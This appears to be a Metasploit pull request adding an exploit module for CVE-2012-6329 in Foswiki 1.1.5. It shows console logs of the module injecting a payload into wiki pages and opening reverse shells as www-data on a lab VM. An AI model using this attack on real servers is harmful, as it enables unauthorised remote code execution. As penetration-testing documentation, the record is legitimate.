rapid7/metasploit-framework — pull request #1196 by jvazquez-r7 (2012-12-21 21:10:24+00:00)
Title: Added module for CVE-2012-6329 for foswiki

Foswiki 1.1.5 as distributed with the official Foswiki-1.1.5-vmware

Authenticated mode:

msf exploit(foswiki_maketext) > set username TestUser
username => TestUser
msf exploit(foswiki_maketext) > set password foswiki
password => foswiki
msf exploit(foswiki_maketext) > rexploit
[*] Reloading module...

[*] Trying login to get session ID...
[*] Started reverse double handler
[*] Trying to inject the payload on /Sandbox/KrhSlb...
[+] Payload injected on /bin/view/Sandbox/KrhSlb
[*] Executing the payload through /Sandbox/KrhSlb...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] Exploitation was successful
[*] Command: echo 4MEo0EyNmrhdaoap;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "4MEo0EyNmrhdaoap\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 2 opened (192.168.1.128:4444 -> 192.168.1.135:49693) at 2012-12-21 22:06:15 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 2? [y/N] y

Anonymous mode:

msf exploit(foswiki_maketext) > set rhost 192.168.1.135
rhost => 192.168.1.135
msf exploit(foswiki_maketext) > rexploit
[*] Reloading module...

[*] Using anonymous access...
[*] Trying to inject the payload on /Sandbox/PhqBfi...
[*] Started reverse double handler
[+] Payload injected on /bin/view/Sandbox/PhqBfi
[*] Executing the payload through /Sandbox/PhqBfi...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[+] Exploitation was successful
[*] Command: echo WKpOvWyC0R21ln4j;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "WKpOvWyC0R21ln4j\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.1.128:4444 -> 192.168.1.135:49690) at 2012-12-21 22:05:26 +0100

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
^C
Abort session 1? [y/N] y